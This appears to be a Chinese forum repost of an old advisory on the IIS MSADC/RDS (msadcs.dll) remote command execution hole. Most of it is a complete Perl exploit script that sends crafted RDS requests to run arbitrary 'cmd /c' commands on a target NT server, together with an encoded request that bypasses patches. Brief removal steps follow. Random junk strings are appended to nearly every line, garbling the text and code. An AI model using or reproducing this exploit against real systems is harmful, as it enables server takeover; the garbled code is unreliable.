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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) -7`J(f.rYC  
w7C=R8^  
涉及程序: H0HYb\TX?  
Microsoft NT server `3OGCy  
Bb o*  
描述: y6s$.93  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ,>^~u  
]]7T5'.  
详细: 7%'<}u  
如果你没有时间读详细内容的话,就删除: |RmBa'.)z  
c:\Program Files\Common Files\System\Msadc\msadcs.dll cBA[D~s  
有关的安全问题就没有了。 Nt'5}  
M~6I-HexT|  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 /<C=9?Ok  
IlrmXSr  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 2V]2jxOQ  
关于利用ODBC远程漏洞的描述,请参看: W1s|7  
'UyL%h;nJ  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm n*1UNQp@]O  
4D13K.h`O  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 +R_U  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp X}yYBf/R`  
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这里不再论述。 p .HA `R>  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ?,NAihN]  
oW_WW$+N  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset {x: IsQZ  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! x#^kv)  
r$7rYxFR  
P#xn!fMi  
#将下面这段保存为txt文件,然后: "perl -x 文件名" )&9RoW()?  
.EdV36$n  
#!perl _=MWt_A '3  
# H,}?YW  
# MSADC/RDS 'usage' (aka exploit) script wB^a1=C  
# I?"5i8E  
# by rain.forest.puppy 9V&LJhDQ  
# 8n)Q^z+ K  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Ua]zTMI  
# beta test and find errors! 4Y!v$r  
;w>B}v;RE  
use Socket; use Getopt::Std; <wC1+/]  
getopts("e:vd:h:XR", \%args); b$`O|S  
>W<5$.G  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; (0+m&, z  
CmTJa5:  
if (!defined $args{h} && !defined $args{R}) { hG^23FiN  
print qq~ d1-p];&  
Usage: msadc.pl -h <host> { -d <delay> -X -v } )N<!3yOz  
-h <host> = host you want to scan (ip or domain) 2?j1~]DvZ  
-d <seconds> = delay between calls, default 1 second H/$q]i*#K  
-X = dump Index Server path table, if available wOOPWwk  
-v = verbose 8'_Y=7b0Nw  
-e = external dictionary file for step 5 =m:W  
hd~rC*I  
Or a -R will resume a command session O^#u%/  
@jHio\/_  
~; exit;} #"_MY-  
ooQ(bF  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; > =H8>X  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ${wE5^ky  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} n&]w* (,  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); >y[S?M  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} W=?87PkJu  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } keOW{:^i  
;Y\,2b, xh  
if (!defined $args{R}){ $ret = &has_msadc; ,whNh  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} mxGN[ %ve  
,)1e+EnV&  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 1*h7L<#|mQ  
. "cmd /c "; 5MJ'/Fy(  
$in=<STDIN>; chomp $in; "puz-W'n  
$command="cmd /c " . $in ; R{_IrYk  
R{vPn8X 6g  
if (defined $args{R}) {&load; exit;} 8H?AL RG  
B5G$o{WM  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; t^hkGYj!2  
&try_btcustmr; SfUUo9R(sm  
3iw9jhK!W  
print "\nStep 2: Trying to make our own DSN..."; j&.BbcE45  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Oe`t!&v  
<Tf;p8#  
print "\nStep 3: Trying known DSNs..."; ^%pwyY\t  
&known_dsn; sLIP |i  
[2V/v  
print "\nStep 4: Trying known .mdbs..."; I.!/R`  
&known_mdb; 0 ,-b %X  
7p6J   
if (defined $args{e}){ "[yiNJ"kt  
print "\nStep 5: Trying dictionary of DSN names..."; vuBA&j0C  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } *\",  qMp  
8BDL{?Mu  
print "Sorry Charley...maybe next time?\n"; GwBQ p Njy  
exit; WKsx|a]U  
P hu| hx<  
############################################################################## Sj?sw]3  
R:?vY!  
sub sendraw { # ripped and modded from whisker `x)bw  
sleep($delay); # it's a DoS on the server! At least on mine... sdQv:nd'R  
my ($pstr)=@_; 1#"Q' ,7  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || J B@VP{  
die("Socket problems\n"); UI C? S  
if(connect(S,pack "SnA4x8",2,80,$target)){ "M^W:4_  
select(S); $|=1; DT4RodE$  
print $pstr; my @in=<S>; kB#vh  
select(STDOUT); close(S); bl_WN|SQ  
return @in; i5Q<~;Z+  
} else { die("Can't connect...\n"); }} zi .,?Q  
J_ |x^  
############################################################################## yan[{h]EZ  
KTt$Pt/.  
sub make_header { # make the HTTP request Xkom@F~]  
my $msadc=<<EOT (14kR  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 B}+9U  
User-Agent: ACTIVEDATA &Q>'U6"%  
Host: $ip nD\os[ 3  
Content-Length: $clen T0%TeFY  
Connection: Keep-Alive J|S^K kC  
\[1CDz=}1  
ADCClientVersion:01.06 r:4IKuTR  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 E2'e}RQ  
ZGhoV#T@  
--!ADM!ROX!YOUR!WORLD! J5_Y\@  
Content-Type: application/x-varg WG}CPkj  
Content-Length: $reqlen a <TL&  
}TJ|d=  
EOT QYXx7h r=$  
; $msadc=~s/\n/\r\n/g; c0q)  
return $msadc;} `e>F<{ M6@  
@n* D>g  
############################################################################## k=2l9C3Z  
_PUm Pom.  
sub make_req { # make the RDS request Gj`Y2X2r  
my ($switch, $p1, $p2)=@_; N09+idg  
my $req=""; my $t1, $t2, $query, $dsn; Mk/!,N<h#  
h./vTNMc  
if ($switch==1){ # this is the btcustmr.mdb query ^jjJM|a  
$query="Select * from Customers where City=" . make_shell(); E :=KH\2f  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . x*8f3^ wE  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} E(kpK5h{  
O>M*mTM  
elsif ($switch==2){ # this is general make table query #UCQiQfP  
$query="create table AZZ (B int, C varchar(10))"; %W',cu  
$dsn="$p1";} R+VLoz*J6  
%yM' Z[-  
elsif ($switch==3){ # this is general exploit table query N3p 7 0  
$query="select * from AZZ where C=" . make_shell(); {JCz^0DV  
$dsn="$p1";} g*?+ ~0"`Y  
umZ g}|C_  
elsif ($switch==4){ # attempt to hork file info from index server *jw$d8q2  
$query="select path from scope()"; "4uUI_E9F;  
$dsn="Provider=MSIDXS;";} kjC{Zr  
-u9yR"n\}  
elsif ($switch==5){ # bad query Tv,.  
$query="select"; qbq<O %g=  
$dsn="$p1";} VfqY_NmgC  
CU1\C*  
$t1= make_unicode($query); }_(^/pnk  
$t2= make_unicode($dsn); tr9Y1vxo{  
$req = "\x02\x00\x03\x00"; &9w%n  
$req.= "\x08\x00" . pack ("S1", length($t1)); pkfOM"5'  
$req.= "\x00\x00" . $t1 ; A2:){`Mw  
$req.= "\x08\x00" . pack ("S1", length($t2)); *a,.E6C*  
$req.= "\x00\x00" . $t2 ; |4> r"  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 7h9[-d6  
return $req;} 4O_+4yS  
[S&O-b8A  
############################################################################## fwv T2G4  
"Xk%3\{P  
sub make_shell { # this makes the shell() statement +M O5'z  
return "'|shell(\"$command\")|'";} roj04|  
gq_7_Y/  
############################################################################## =>}.W:=  
dwbY"t[9  
sub make_unicode { # quick little function to convert to unicode *RbOQ86vP  
my ($in)=@_; my $out; UoMWn"ZE  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ]n]uN~)9  
return $out;} dFP-(dX#  
|k .M+  
############################################################################## l9NOzAH3  
D7WI(j\  
sub rdo_success { # checks for RDO return success (this is kludge)  ]RX tC*  
my (@in) = @_; my $base=content_start(@in); ,C,e/>+My  
if($in[$base]=~/multipart\/mixed/){ gLSG:7m@  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} `TD%M`a  
return 0;} =#Cf5s6qt  
h3]@M$Y[  
############################################################################## fZV8 o$V  
7|M$W(P  
sub make_dsn { # this makes a DSN for us U]!.~ji3  
my @drives=("c","d","e","f"); xe gL!  
print "\nMaking DSN: "; fJ&<iD)6  
foreach $drive (@drives) { [zTYiNa  
print "$drive: "; gUH'DS]{  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . iPY vePQ  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" /=YqjZTCq  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); B#k3"vk#  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; MpIw^a3(r  
return 0 if $2 eq "404"; # not found/doesn't exist HEB/\  
if($2 eq "200") { mB^I @oZ*  
foreach $line (@results) { AJ?}Hel[0  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} E/8u'  
} return 0;} /x:(SR2,  
[[?[? V ,  
############################################################################## : >wQwf  
T7lj39pJq  
sub verify_exists { o(d_uJOB  
my ($page)=@_; zJuRth)(,  
my @results=sendraw("GET $page HTTP/1.0\n\n"); +)JNFy-  
return $results[0];} '/u:,ar  
`gt&Y-  
############################################################################## 3:~l2KIP4  
9!xD~(Kr  
sub try_btcustmr { 3$$5Mk(&  
my @drives=("c","d","e","f"); juYA`:qE&  
my @dirs=("winnt","winnt35","winnt351","win","windows"); \at-"[.  
?zhI=1 ED%  
foreach $dir (@dirs) { 3Zaq#uA  
print "$dir -> "; # fun status so you can see progress cbh#E)[ '  
foreach $drive (@drives) { o,CA;_  
print "$drive: "; # ditto ~N{_N95!2@  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; uhTKCR~  
$reqlenlen=length( "$reqlen" ); ~.W=  
$clen= 206 + $reqlenlen + $reqlen; ,a9D~i 9R  
*dG}R#9Nv  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); B%eDBu ")  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ^Cc8F3os=  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} k_K,J 6_)  
e+F}9HR7  
############################################################################## M$&WM{Pr^  
Q3BLL` W~  
sub odbc_error { zM_DE  
my (@in)=@_; my $base; x5fgF;  
my $base = content_start(@in); rb *C-NutE  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this J}) $  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Ox7uG{t$#  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; - - i&"  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 9ra HSzK@d  
return $in[$base+4].$in[$base+5].$in[$base+6];} pcRF: ~TE  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; )BF \!sTn  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . u>,lf\Fgz  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} to!mz\F  
e0v9uQ%F5  
############################################################################## dysX  
nW $A^  
sub verbose { Z]x  5!  
my ($in)=@_; &Rt+LN0qB0  
return if !$verbose; FE8+E\ U?  
print STDOUT "\n$in\n";} QmH/yy3.%  
qE#&)  
############################################################################## FX|0R#4vm  
J0?$v6S  
sub save { Jw:Fj {D  
my ($p1, $p2, $p3, $p4)=@_; *=$[}!YG  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; /'&.aGW4%  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Wj&<"Z6'm(  
close OUT;} _&; ZmNNhc  
b?Cmc  
############################################################################## 2!{_/@I\Y  
:b<-[8d&  
sub load { mD D4_E2*  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Yl)eh(\&J  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ERp:EZ'  
@p=<IN>; close(IN); 0(Y%,q  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); A+0T"2  
$target= inet_aton($ip) || die("inet_aton problems"); Ud>`@2  
print "Resuming to $ip ..."; !sg%6H?}  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; HCX!P4Hj  
if($p[1]==1) { zQL!(2  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; F-$Z,Q]S  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 0M#N=%31  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); nmD1C_&  
if (rdo_success(@results)){print "Success!\n";} Y H<$ +U  
else { print "failed\n"; verbose(odbc_error(@results));}} X+`ddX  
elsif ($p[1]==3){ VFilF<jvu  
if(run_query("$p[3]")){ PU^[HC*K  
print "Success!\n";} else { print "failed\n"; }} W:VW_3  
elsif ($p[1]==4){ ?-pxte8  
if(run_query($drvst . "$p[3]")){ P<>[e9|  
print "Success!\n"; } else { print "failed\n"; }} U/.w;DI   
exit;} !: m`9o8  
" t5 +*  
############################################################################## "2ZIoa!^  
qxf+#  
sub create_table { ,3VG.u;U   
my ($in)=@_; (y=dR1p  
$reqlen=length( make_req(2,$in,"") ) - 28; ltNuLZ  
$reqlenlen=length( "$reqlen" ); DgDSVFk ~  
$clen= 206 + $reqlenlen + $reqlen; 2-8YSHlh  
my @results=sendraw(make_header() . make_req(2,$in,"")); !(W[!%  
return 1 if rdo_success(@results); beJZ pg  
my $temp= odbc_error(@results); verbose($temp); |f"-|6  
return 1 if $temp=~/Table 'AZZ' already exists/; q$MHCq;  
return 0;} |9+bSH9  
\# 7@a74  
############################################################################## E/:+@'(k  
e.h~[^zg  
sub known_dsn { +DicP"~*  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go gb]h OB7g  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", CHPL>'NJzc  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", SW3wMPy&s  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); i Bi7|  
ZvUp#8x(3  
foreach $dSn (@dsns) { *GCA6X  
print "."; rQ=xcn[A  
next if (!is_access("DSN=$dSn"));  &|/vM.  
if(create_table("DSN=$dSn")){ nped  
print "$dSn successful\n"; lN);~|IOv7  
if(run_query("DSN=$dSn")){ PASuf.U$"  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { H!Wis3S3G  
print "Something's borked. Use verbose next time\n";}}} print "\n";} XXXl jh6  
j'k8^*M6  
############################################################################## L5R `w&Up  
;JAK[o8i  
sub is_access { i B%XBR  
my ($in)=@_; NV:>a  
$reqlen=length( make_req(5,$in,"") ) - 28; Mx^y>\X)v  
$reqlenlen=length( "$reqlen" ); =ZG<BG_  
$clen= 206 + $reqlenlen + $reqlen; Er`TryN|}  
my @results=sendraw(make_header() . make_req(5,$in,"")); nARxn#<+  
my $temp= odbc_error(@results); XQK^$Iq]V  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); A)OdQFet(  
return 0;} fG<Dhz@  
]AFj&CteZ/  
############################################################################## l &}piC  
-_s%8l^  
sub run_query { DD2adu^  
my ($in)=@_; )i&%cyZw  
$reqlen=length( make_req(3,$in,"") ) - 28; \'[3^/('  
$reqlenlen=length( "$reqlen" ); s;s0}Td_1  
$clen= 206 + $reqlenlen + $reqlen; sjSi;S4  
my @results=sendraw(make_header() . make_req(3,$in,"")); ]t*33  
return 1 if rdo_success(@results); -y%QRO(  
my $temp= odbc_error(@results); verbose($temp); \$'R+k-57;  
return 0;} ot^q}fRX  
OSU{8.  
############################################################################## V:(y*tFA  
jh>N_cp  
sub known_mdb { 37#cx)p^f  
my @drives=("c","d","e","f","g"); ]n~yp5Nbr  
my @dirs=("winnt","winnt35","winnt351","win","windows"); eUYZxe :6  
my $dir, $drive, $mdb; P_Z M'[  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; P2O\!'aEh  
]Fxku<z7|  
# this is sparse, because I don't know of many HHZ`%  
my @sysmdbs=( "\\catroot\\icatalog.mdb", -48`#"xy  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", {&E?<D2_&  
"\\system32\\certmdb.mdb", wc"9A~  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% u',b1 3g(  
5;}2[3}[  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", M Z2^@It  
"\\cfusion\\cfapps\\forums\\forums_.mdb", PVhik@Yoh  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", @]*[c})/  
"\\cfusion\\cfapps\\security\\realm_.mdb", nZ~kZ |VS  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", </,.K`''W  
"\\cfusion\\database\\cfexamples.mdb", cxgE\4_u"  
"\\cfusion\\database\\cfsnippets.mdb", N5yJ'i~,M  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", >A<Df  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", *E.LP1xP  
"\\cfusion\\brighttiger\\database\\cleam.mdb", cbfD B^_  
"\\cfusion\\database\\smpolicy.mdb", ;;M"hI3@  
"\\cfusion\\database\cypress.mdb", ]7*kWc2  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ;"D~W#0-v  
"\\website\\cgi-win\\dbsample.mdb", >8%M*-=p  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Ha?G=X  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" lHcA j{6  
); #these are just C(}^fJ6r  
foreach $drive (@drives) { WX LK89ev\  
foreach $dir (@dirs){ E!uJ6\  
foreach $mdb (@sysmdbs) { emA.{cVr!  
print "."; k j-=xhJ{=  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 36nyu_h:R  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ,'=hjIel  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 7q!?1 -?8R  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; I,]J=xi  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 0Yp>+:#  
KyjyjfIwH  
foreach $drive (@drives) { u >4ArtF  
foreach $mdb (@mdbs) { #vtN+E  
print "."; w#sq'vo4%  
if(create_table($drv . $drive . $dir . $mdb)){ jKS!'?  
print "\n" . $drive . $dir . $mdb . " successful\n"; QPX`l0V  
if(run_query($drv . $drive . $dir . $mdb)){ r|<6Aae&  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; r5[4h'f  
} else { print "Something's borked. Use verbose next time\n"; }}}} 6s5yyy=L%~  
} +^Fp&K+^  
X PA 0m  
############################################################################## ;>8kPG  
#,TELzUVE  
sub hork_idx { X~Cq  
print "\nAttempting to dump Index Server tables...\n"; /p,{?~0mj  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ^,`M0g\$  
$reqlen=length( make_req(4,"","") ) - 28; S#mK Pi+3  
$reqlenlen=length( "$reqlen" ); f\ 'T_  
$clen= 206 + $reqlenlen + $reqlen; i*'Z3Z)  
my @results=sendraw2(make_header() . make_req(4,"","")); VNO'="U  
if (rdo_success(@results)){ \X5 3|Y;=  
my $max=@results; my $c; my %d; ';Nu&D#Ph  
for($c=19; $c<$max; $c++){ _W}(!TKO  
$results[$c]=~s/\x00//g; ^zg acn  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ?,>5[Ha^?  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 8TW5(fl  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; "oe!M'aj`1  
$d{"$1$2"}="";} @7%.7LK  
foreach $c (keys %d){ print "$c\n"; } bJwc1AJgH  
} else {print "Index server doesn't seem to be installed.\n"; }} `0rRKlbj4  
(n,N8k;  
############################################################################## $~G@   
; h85=l<8u  
sub dsn_dict { 'AWp6L@  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); F5U|9<  
while(<IN>){ sBU_Ft  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; V 9Hl1\j^  
next if (!is_access("DSN=$dSn")); .;g}%C  
if(create_table("DSN=$dSn")){ Lc%xc`n8B  
print "$dSn successful\n"; rI>LjHP  
if(run_query("DSN=$dSn")){ y6FKg)  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { )b9_C O}  
print "Something's borked. Use verbose next time\n";}}} r8,om^N6  
print "\n"; close(IN);} 4gb'7'  
Y& 5.9 s@'  
############################################################################## YQ7@D]#  
l sr?b  
sub sendraw2 { # ripped and modded from whisker +(&|uq^  
sleep($delay); # it's a DoS on the server! At least on mine... XhN{S]Wn  
my ($pstr)=@_; </=3g>9Z  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || `7\H41%\pp  
die("Socket problems\n"); A? r^V2+j  
if(connect(S,pack "SnA4x8",2,80,$target)){ NH4?q!'G  
print "Connected. Getting data"; SO_>c+Dw  
open(OUT,">raw.out"); my @in; s4bv;W  
select(S); $|=1; print $pstr; 5z Kqb  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ]Jn2Ra"j  
close(OUT); select(STDOUT); close(S); return @in; O1'K>teF%  
} else { die("Can't connect...\n"); }} Kp&3=e;vn{  
0sh~I  
############################################################################## )NIv  "Q  
iD714+N(  
sub content_start { # this will take in the server headers ]-bQNYKX  
my (@in)=@_; my $c; (;ADW+.`J  
for ($c=1;$c<500;$c++) { AG>\aV"b  
if($in[$c] =~/^\x0d\x0a/){ o0mJy'  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } yLqF ,pvO  
else { return $c+1; }}} b i~=x  
return -1;} # it should never get here actually I .P6l*$  
NbkK&bz  
############################################################################## ;A"\?i Q  
G "brT5:  
sub funky { >f@ G>H)+  
my (@in)=@_; my $error=odbc_error(@in); y\,f6=%k  
if($error=~/ADO could not find the specified provider/){ " #v%36U  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; F>-}*o  
exit;} m#n]Wgp'  
if($error=~/A Handler is required/){ 8wmQ4){  
print "\nServer has custom handler filters (they most likely are patched)\n"; b 4OnZ;FI  
exit;} ^{[[Z.&R?  
if($error=~/specified Handler has denied Access/){ ,hvc``j S8  
print "\nServer has custom handler filters (they most likely are patched)\n"; #U"1 9@|}  
exit;}} NzlAC  
Ao"C<.gUYP  
############################################################################## 2y%R:Mu  
BIj   
sub has_msadc { c\K<sM{  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); $>r5>6  
my $base=content_start(@results); m9t$h  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); g "*;nHI D  
return 0;} H=<LutnZ  
F#|Z# Mu  
######################## RRzP* A%=  
fGarUV  
%b?uW] j:  
解决方案: th 2<o5  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll _ZyT3P&  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 :1_mfX  
JA6";fl;  
拿出来充数 哈哈
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